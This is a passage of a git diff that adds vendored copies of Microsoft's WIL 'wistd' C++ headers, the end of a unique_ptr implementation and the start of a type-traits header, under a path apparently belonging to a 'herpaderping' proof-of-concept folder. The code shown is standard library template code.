operator=(unique_ptr&); + template unique_ptr& operator=(unique_ptr<_Up>&); + + template + unique_ptr(_Up __u, + typename conditional< + is_reference::value, deleter_type, + typename add_lvalue_reference::type>::type, + typename enable_if::value, + __nat>::type = __nat()); + public: + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr() : __ptr_(pointer()) { + static_assert(!is_pointer::value, + "unique_ptr constructed with null function pointer deleter"); + } + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(nullptr_t) : __ptr_(pointer()) { + static_assert(!is_pointer::value, + "unique_ptr constructed with null function pointer deleter"); + } + + __WI_LIBCPP_INLINE_VISIBILITY + explicit unique_ptr(pointer __p) : __ptr_(__p) { + static_assert(!is_pointer::value, + "unique_ptr constructed with null function pointer deleter"); + } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(pointer __p, deleter_type __d) + : __ptr_(__p, wistd::forward(__d)) {} + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(nullptr_t, deleter_type __d) + : __ptr_(pointer(), wistd::forward(__d)) {} + + __WI_LIBCPP_INLINE_VISIBILITY + operator __rv() { + return __rv(*this); + } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(__rv __u) + : __ptr_(__u->release(), + wistd::forward(__u->get_deleter())) {} + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& operator=(__rv __u) { + reset(__u->release()); + __ptr_.second() = wistd::forward(__u->get_deleter()); + return *this; + } + +#endif // __WI_LIBCPP_CXX03_LANG + + public: + __WI_LIBCPP_INLINE_VISIBILITY + ~unique_ptr() { reset(); } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& operator=(nullptr_t) WI_NOEXCEPT { + reset(); + return *this; + } + + __WI_LIBCPP_INLINE_VISIBILITY + typename add_lvalue_reference<_Tp>::type + operator[](size_t __i) const { + return __ptr_.first()[__i]; + } + __WI_LIBCPP_INLINE_VISIBILITY + pointer get() const WI_NOEXCEPT { + return __ptr_.first(); + } + + __WI_LIBCPP_INLINE_VISIBILITY + deleter_type& get_deleter() WI_NOEXCEPT { + return __ptr_.second(); + } + + __WI_LIBCPP_INLINE_VISIBILITY + const deleter_type& get_deleter() const WI_NOEXCEPT { + return __ptr_.second(); + } + __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_EXPLICIT operator bool() const WI_NOEXCEPT { + return __ptr_.first() != nullptr; + } + + __WI_LIBCPP_INLINE_VISIBILITY + pointer release() WI_NOEXCEPT { + pointer __t = __ptr_.first(); + __ptr_.first() = pointer(); + return __t; + } + + template + __WI_LIBCPP_INLINE_VISIBILITY + typename enable_if< + _CheckArrayPointerConversion<_Pp>::value + >::type + reset(_Pp __p) WI_NOEXCEPT { + pointer __tmp = __ptr_.first(); + __ptr_.first() = __p; + if (__tmp) + __ptr_.second()(__tmp); + } + + __WI_LIBCPP_INLINE_VISIBILITY + void reset(nullptr_t = nullptr) WI_NOEXCEPT { + pointer __tmp = __ptr_.first(); + __ptr_.first() = nullptr; + if (__tmp) + __ptr_.second()(__tmp); + } + + __WI_LIBCPP_INLINE_VISIBILITY + void swap(unique_ptr& __u) WI_NOEXCEPT { + __ptr_.swap(__u.__ptr_); + } + + }; + + // Provide both 'swap_wil' and 'swap' since we now have two ADL scenarios that we need to work + template + inline __WI_LIBCPP_INLINE_VISIBILITY + typename enable_if< + __is_swappable<_Dp>::value, + void + >::type + swap(unique_ptr<_Tp, _Dp>& __x, unique_ptr<_Tp, _Dp>& __y) WI_NOEXCEPT {__x.swap(__y);} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + typename enable_if< + __is_swappable<_Dp>::value, + void + >::type + swap_wil(unique_ptr<_Tp, _Dp>& __x, unique_ptr<_Tp, _Dp>& __y) WI_NOEXCEPT {__x.swap(__y);} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator==(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return __x.get() == __y.get();} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator!=(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return !(__x == __y);} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator< (const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) + { + typedef typename unique_ptr<_T1, _D1>::pointer _P1; + typedef typename unique_ptr<_T2, _D2>::pointer _P2; + typedef typename common_type<_P1, _P2>::type _Vp; + return less<_Vp>()(__x.get(), __y.get()); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator> (const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return __y < __x;} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator<=(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return !(__y < __x);} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator>=(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return !(__x < __y);} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator==(const unique_ptr<_T1, _D1>& __x, nullptr_t) WI_NOEXCEPT + { + return !__x; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator==(nullptr_t, const unique_ptr<_T1, _D1>& __x) WI_NOEXCEPT + { + return !__x; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator!=(const unique_ptr<_T1, _D1>& __x, nullptr_t) WI_NOEXCEPT + { + return static_cast(__x); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator!=(nullptr_t, const unique_ptr<_T1, _D1>& __x) WI_NOEXCEPT + { + return static_cast(__x); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator<(const unique_ptr<_T1, _D1>& __x, nullptr_t) + { + typedef typename unique_ptr<_T1, _D1>::pointer _P1; + return less<_P1>()(__x.get(), nullptr); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator<(nullptr_t, const unique_ptr<_T1, _D1>& __x) + { + typedef typename unique_ptr<_T1, _D1>::pointer _P1; + return less<_P1>()(nullptr, __x.get()); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator>(const unique_ptr<_T1, _D1>& __x, nullptr_t) + { + return nullptr < __x; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator>(nullptr_t, const unique_ptr<_T1, _D1>& __x) + { + return __x < nullptr; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator<=(const unique_ptr<_T1, _D1>& __x, nullptr_t) + { + return !(nullptr < __x); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator<=(nullptr_t, const unique_ptr<_T1, _D1>& __x) + { + return !(__x < nullptr); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator>=(const unique_ptr<_T1, _D1>& __x, nullptr_t) + { + return !(__x < nullptr); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator>=(nullptr_t, const unique_ptr<_T1, _D1>& __x) + { + return !(nullptr < __x); + } + +#ifdef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr<_Tp, _Dp> + move(unique_ptr<_Tp, _Dp>& __t) + { + return unique_ptr<_Tp, _Dp>(__rv >(__t)); + } + +#endif +} +/// @endcond + +#endif // _WISTD_MEMORY_H_ diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_type_traits.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_type_traits.h new file mode 100644 index 00000000..b3e09fcc --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_type_traits.h @@ -0,0 +1,4504 @@ +// -*- C++ -*- +//===------------------------ type_traits ---------------------------------===// +// +// The LLVM Compiler Infrastructure +// +// This file is dual licensed under the MIT and the University of Illinois Open +// Source Licenses. See LICENSE.TXT for details. +// +//===----------------------------------------------------------------------===// + +// STL common functionality +// +// Some aspects of STL are core language concepts that should be used from all C++ code, regardless +// of whether exceptions are enabled in the component. Common library code that expects to be used +// from exception-free components want these concepts, but including directly introduces +// friction as it requires components not using STL to declare their STL version. Doing so creates +// ambiguity around whether STL use is safe in a particular component and implicitly brings in +// a long list of headers (including ) which can create further ambiguity around throwing new +// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has +// the potential to create naming conflicts or other implied dependencies. +// +// To promote the use of these core language concepts outside of STL-based binaries, this file is +// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding +// "std::" namespace STL functions and types should be preferred over these in code that is bound to +// STL. The implementation and naming of all functions are taken directly from STL, instead using +// "wistd" (Windows Implementation std) as the namespace. +// +// Routines in this namespace should always be considered a reflection of the *current* STL implementation +// of those routines. Updates from STL should be taken, but no "bugs" should be fixed here. +// +// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation. +// Only code that is not exception-based and libraries that expect to be utilized across both exception +// and non-exception based code should utilize this functionality. + +#ifndef _WISTD_TYPE_TRAITS_H_ +#define _WISTD_TYPE_TRAITS_H_ + +// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage +#include "wistd_config.h" + +#if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER) +#pragma GCC system_header +#endif + +/// @cond +namespace wistd // ("Windows Implementation" std) +{ + template struct __WI_LIBCPP_TEMPLATE_VIS pair; + template class __WI_LIBCPP_TEMPLATE_VIS reference_wrapper; + template struct __WI_LIBCPP_TEMPLATE_VIS hash; + + template + struct __void_t { typedef void type; }; + + template + struct __identity { typedef _Tp type; }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS __dependent_type : public _Tp {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS conditional {typedef _If type;}; + template + struct __WI_LIBCPP_TEMPLATE_VIS conditional {typedef _Then type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using conditional_t = typename conditional<_Bp, _If, _Then>::type; +#endif + + template struct __WI_LIBCPP_TEMPLATE_VIS __lazy_enable_if {}; + template struct __WI_LIBCPP_TEMPLATE_VIS __lazy_enable_if {typedef typename _Tp::type type;}; + + template struct __WI_LIBCPP_TEMPLATE_VIS enable_if {}; + template struct __WI_LIBCPP_TEMPLATE_VIS enable_if {typedef _Tp type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using enable_if_t = typename enable_if<_Bp, _Tp>::type; +#endif + + // addressof +#ifndef __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF + + template + inline __WI_LIBCPP_CONSTEXPR_AFTER_CXX14 + __WI_LIBCPP_NO_CFI __WI_LIBCPP_INLINE_VISIBILITY + _Tp* + addressof(_Tp& __x) WI_NOEXCEPT + { + return __builtin_addressof(__x); + } + +#else + + template + inline __WI_LIBCPP_NO_CFI __WI_LIBCPP_INLINE_VISIBILITY + _Tp* + addressof(_Tp& __x) WI_NOEXCEPT + { + return reinterpret_cast<_Tp *>( + const_cast(&reinterpret_cast(__x))); + } + +#endif // __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF + +#if !defined(__WI_LIBCPP_CXX03_LANG) + template _Tp* addressof(const _Tp&&) WI_NOEXCEPT = delete; +#endif + + struct __two {char __lx[2];}; + + // helper class: + + template + struct __WI_LIBCPP_TEMPLATE_VIS integral_constant + { + static __WI_LIBCPP_CONSTEXPR const _Tp value = __v; + typedef _Tp value_type; + typedef integral_constant type; + __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_CONSTEXPR operator value_type() const WI_NOEXCEPT {return value;} +#if __WI_LIBCPP_STD_VER > 11 + __WI_LIBCPP_INLINE_VISIBILITY + constexpr value_type operator ()() const WI_NOEXCEPT {return value;} +#endif + }; + + template + __WI_LIBCPP_CONSTEXPR const _Tp integral_constant<_Tp, __v>::value; + +#if !defined(__WI_LIBCPP_CXX03_LANG) + template + using bool_constant = integral_constant; +#define __WI_LIBCPP_BOOL_CONSTANT(__b) bool_constant<(__b)> +#else +#define __WI_LIBCPP_BOOL_CONSTANT(__b) integral_constant +#endif + + typedef __WI_LIBCPP_BOOL_CONSTANT(true) true_type; + typedef __WI_LIBCPP_BOOL_CONSTANT(false) false_type; + +#if !defined(__WI_LIBCPP_CXX03_LANG) + + // __lazy_and + + template + struct __lazy_and_impl; + + template + struct __lazy_and_impl : false_type {}; + + template <> + struct __lazy_and_impl : true_type {}; + + template + struct __lazy_and_impl : integral_constant {}; + + template + struct __lazy_and_impl : __lazy_and_impl<_Hp::type::value, _Tp...> {}; + + template + struct __lazy_and : __lazy_and_impl<_P1::type::value, _Pr...> {}; + + // __lazy_or + + template + struct __lazy_or_impl; + + template + struct __lazy_or_impl : true_type {}; + + template <> + struct __lazy_or_impl : false_type {}; + + template + struct __lazy_or_impl + : __lazy_or_impl<_Hp::type::value, _Tp...> {}; + + template + struct __lazy_or : __lazy_or_impl<_P1::type::value, _Pr...> {}; + + // __lazy_not + + template + struct __lazy_not : integral_constant {}; + + // __and_ + template struct __and_; + template<> struct __and_<> : true_type {}; + + template struct __and_<_B0> : _B0 {}; + + template + struct __and_<_B0, _B1> : conditional<_B0::value, _B1, _B0>::type {}; + + template + struct __and_<_B0, _B1, _B2, _Bn...> + : conditional<_B0::value, __and_<_B1, _B2, _Bn...>, _B0>::type {}; + + // __or_ + template struct __or_; + template<> struct __or_<> : false_type {}; + + template struct __or_<_B0> : _B0 {}; + + template + struct __or_<_B0, _B1> : conditional<_B0::value, _B0, _B1>::type {}; + + template + struct __or_<_B0, _B1, _B2, _Bn...> + : conditional<_B0::value, _B0, __or_<_B1, _B2, _Bn...> >::type {}; + + // __not_ + template + struct __not_ : conditional<_Tp::value, false_type, true_type>::type {}; + +#endif // !defined(__WI_LIBCPP_CXX03_LANG) + + // is_const + + template struct __WI_LIBCPP_TEMPLATE_VIS is_const : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_const<_Tp const> : public true_type {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_const_v + = is_const<_Tp>::value; +#endif + + // is_volatile + + template struct __WI_LIBCPP_TEMPLATE_VIS is_volatile : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_volatile<_Tp volatile> : public true_type {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_volatile_v + = is_volatile<_Tp>::value; +#endif + + // remove_const + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_const {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_const {typedef _Tp type;}; +#if __WI_LIBCPP_STD_VER > 11 + template using remove_const_t = typename remove_const<_Tp>::type; +#endif + + // remove_volatile + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_volatile {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_volatile {typedef _Tp type;}; +#if __WI_LIBCPP_STD_VER > 11 + template using remove_volatile_t = typename remove_volatile<_Tp>::type; +#endif + + // remove_cv + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_cv + {typedef typename remove_volatile::type>::type type;}; +#if __WI_LIBCPP_STD_VER > 11 + template using remove_cv_t = typename remove_cv<_Tp>::type; +#endif + + // is_void + + template struct __libcpp_is_void : public false_type {}; + template <> struct __libcpp_is_void : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_void + : public __libcpp_is_void::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_void_v + = is_void<_Tp>::value; +#endif + + // __is_nullptr_t + + template struct __is_nullptr_t_impl : public false_type {}; + template <> struct __is_nullptr_t_impl : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS __is_nullptr_t + : public __is_nullptr_t_impl::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 + template struct __WI_LIBCPP_TEMPLATE_VIS is_null_pointer + : public __is_nullptr_t_impl::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_null_pointer_v + = is_null_pointer<_Tp>::value; +#endif +#endif + + // is_integral + + template struct __libcpp_is_integral : public false_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; +#ifdef _MSC_VER + template <> struct __libcpp_is_integral<__wchar_t> : public true_type {}; +#else + template <> struct __libcpp_is_integral : public true_type {}; +#endif +#ifndef __WI_LIBCPP_HAS_NO_UNICODE_CHARS + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; +#endif // __WI_LIBCPP_HAS_NO_UNICODE_CHARS + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; + template <> struct __libcpp_is_integral : public true_type {}; +#ifndef __WI_LIBCPP_HAS_NO_INT128 + template <> struct __libcpp_is_integral<__int128_t> : public true_type {}; + template <> struct __libcpp_is_integral<__uint128_t> : public true_type {}; +#endif + + template struct __WI_LIBCPP_TEMPLATE_VIS is_integral + : public __libcpp_is_integral::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_integral_v + = is_integral<_Tp>::value; +#endif + + // is_floating_point + + template struct __libcpp_is_floating_point : public false_type {}; + template <> struct __libcpp_is_floating_point : public true_type {}; + template <> struct __libcpp_is_floating_point : public true_type {}; + template <> struct __libcpp_is_floating_point : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_floating_point + : public __libcpp_is_floating_point::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_floating_point_v + = is_floating_point<_Tp>::value; +#endif + + // is_array + + template struct __WI_LIBCPP_TEMPLATE_VIS is_array + : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_array<_Tp[]> + : public true_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_array<_Tp[_Np]> + : public true_type {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_array_v + = is_array<_Tp>::value; +#endif + + // is_pointer + + template struct __libcpp_is_pointer : public false_type {}; + template struct __libcpp_is_pointer<_Tp*> : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_pointer + : public __libcpp_is_pointer::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_pointer_v + = is_pointer<_Tp>::value; +#endif + + // is_reference + + template struct __WI_LIBCPP_TEMPLATE_VIS is_lvalue_reference : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_lvalue_reference<_Tp&> : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_rvalue_reference : public false_type {}; +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + template struct __WI_LIBCPP_TEMPLATE_VIS is_rvalue_reference<_Tp&&> : public true_type {}; +#endif + + template struct __WI_LIBCPP_TEMPLATE_VIS is_reference : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_reference<_Tp&> : public true_type {}; +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + template struct __WI_LIBCPP_TEMPLATE_VIS is_reference<_Tp&&> : public true_type {}; +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_reference_v + = is_reference<_Tp>::value; + + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_lvalue_reference_v + = is_lvalue_reference<_Tp>::value; + + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_rvalue_reference_v + = is_rvalue_reference<_Tp>::value; +#endif + // is_union + +#if __WI_HAS_FEATURE_IS_UNION || (__WI_GNUC_VER >= 403) + + template struct __WI_LIBCPP_TEMPLATE_VIS is_union + : public integral_constant {}; + +#else + + template struct __libcpp_union : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_union + : public __libcpp_union::type> {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_union_v + = is_union<_Tp>::value; +#endif + + // is_class + +#if __WI_HAS_FEATURE_IS_CLASS || (__WI_GNUC_VER >= 403) + + template struct __WI_LIBCPP_TEMPLATE_VIS is_class + : public integral_constant {}; + +#else + + namespace __is_class_imp + { + template char __test(int _Tp::*); + template __two __test(...); + } + + template struct __WI_LIBCPP_TEMPLATE_VIS is_class + : public integral_constant(0)) == 1 && !is_union<_Tp>::value> {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_class_v + = is_class<_Tp>::value; +#endif + + // is_same + + template struct __WI_LIBCPP_TEMPLATE_VIS is_same : public false_type {}; + template struct __WI_LIBCPP_TEMPLATE_VIS is_same<_Tp, _Tp> : public true_type {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_same_v + = is_same<_Tp, _Up>::value; +#endif + + // is_function + + namespace __libcpp_is_function_imp + { + struct __dummy_type {}; + template char __test(_Tp*); + template char __test(__dummy_type); + template __two __test(...); + template _Tp& __source(int); + template __dummy_type __source(...); + } + + template ::value || + is_union<_Tp>::value || + is_void<_Tp>::value || + is_reference<_Tp>::value || + __is_nullptr_t<_Tp>::value > + struct __libcpp_is_function + : public integral_constant(__libcpp_is_function_imp::__source<_Tp>(0))) == 1> + {}; + template struct __libcpp_is_function<_Tp, true> : public false_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_function + : public __libcpp_is_function<_Tp> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_function_v + = is_function<_Tp>::value; +#endif + + // is_member_function_pointer + + // template struct __libcpp_is_member_function_pointer : public false_type {}; + // template struct __libcpp_is_member_function_pointer<_Tp _Up::*> : public is_function<_Tp> {}; + // + + template + struct __member_pointer_traits_imp + { // forward declaration; specializations later + }; + + + template struct __libcpp_is_member_function_pointer + : public false_type {}; + + template + struct __libcpp_is_member_function_pointer<_Ret _Class::*> + : public is_function<_Ret> {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_member_function_pointer + : public __libcpp_is_member_function_pointer::type>::type {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_member_function_pointer_v + = is_member_function_pointer<_Tp>::value; +#endif + + // is_member_pointer + + template struct __libcpp_is_member_pointer : public false_type {}; + template struct __libcpp_is_member_pointer<_Tp _Up::*> : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_member_pointer + : public __libcpp_is_member_pointer::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_member_pointer_v + = is_member_pointer<_Tp>::value; +#endif + + // is_member_object_pointer + + template struct __WI_LIBCPP_TEMPLATE_VIS is_member_object_pointer + : public integral_constant::value && + !is_member_function_pointer<_Tp>::value> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_member_object_pointer_v + = is_member_object_pointer<_Tp>::value; +#endif + + // is_enum + +#if __WI_HAS_FEATURE_IS_ENUM || (__WI_GNUC_VER >= 403) + + template struct __WI_LIBCPP_TEMPLATE_VIS is_enum + : public integral_constant {}; + +#else + + template struct __WI_LIBCPP_TEMPLATE_VIS is_enum + : public integral_constant::value && + !is_integral<_Tp>::value && + !is_floating_point<_Tp>::value && + !is_array<_Tp>::value && + !is_pointer<_Tp>::value && + !is_reference<_Tp>::value && + !is_member_pointer<_Tp>::value && + !is_union<_Tp>::value && + !is_class<_Tp>::value && + !is_function<_Tp>::value > {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_enum_v + = is_enum<_Tp>::value; +#endif + + // is_arithmetic + + template struct __WI_LIBCPP_TEMPLATE_VIS is_arithmetic + : public integral_constant::value || + is_floating_point<_Tp>::value> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_arithmetic_v + = is_arithmetic<_Tp>::value; +#endif + + // is_fundamental + + template struct __WI_LIBCPP_TEMPLATE_VIS is_fundamental + : public integral_constant::value || + __is_nullptr_t<_Tp>::value || + is_arithmetic<_Tp>::value> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_fundamental_v + = is_fundamental<_Tp>::value; +#endif + + // is_scalar + + template struct __WI_LIBCPP_TEMPLATE_VIS is_scalar + : public integral_constant::value || + is_member_pointer<_Tp>::value || + is_pointer<_Tp>::value || + __is_nullptr_t<_Tp>::value || + is_enum<_Tp>::value > {}; + + template <> struct __WI_LIBCPP_TEMPLATE_VIS is_scalar : public true_type {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_scalar_v + = is_scalar<_Tp>::value; +#endif + + // is_object + + template struct __WI_LIBCPP_TEMPLATE_VIS is_object + : public integral_constant::value || + is_array<_Tp>::value || + is_union<_Tp>::value || + is_class<_Tp>::value > {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_object_v + = is_object<_Tp>::value; +#endif + + // is_compound + + template struct __WI_LIBCPP_TEMPLATE_VIS is_compound + : public integral_constant::value> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_compound_v + = is_compound<_Tp>::value; +#endif + + + // __is_referenceable [defns.referenceable] + + struct __is_referenceable_impl { + template static _Tp& __test(int); + template static __two __test(...); + }; + + template + struct __is_referenceable : integral_constant(0)), __two>::value> {}; + + + // add_const + + template ::value || + is_function<_Tp>::value || + is_const<_Tp>::value > + struct __add_const {typedef _Tp type;}; + + template + struct __add_const<_Tp, false> {typedef const _Tp type;}; + + template struct __WI_LIBCPP_TEMPLATE_VIS add_const + {typedef typename __add_const<_Tp>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using add_const_t = typename add_const<_Tp>::type; +#endif + + // add_volatile + + template ::value || + is_function<_Tp>::value || + is_volatile<_Tp>::value > + struct __add_volatile {typedef _Tp type;}; + + template + struct __add_volatile<_Tp, false> {typedef volatile _Tp type;}; + + template struct __WI_LIBCPP_TEMPLATE_VIS add_volatile + {typedef typename __add_volatile<_Tp>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using add_volatile_t = typename add_volatile<_Tp>::type; +#endif + + // add_cv + + template struct __WI_LIBCPP_TEMPLATE_VIS add_cv + {typedef typename add_const::type>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using add_cv_t = typename 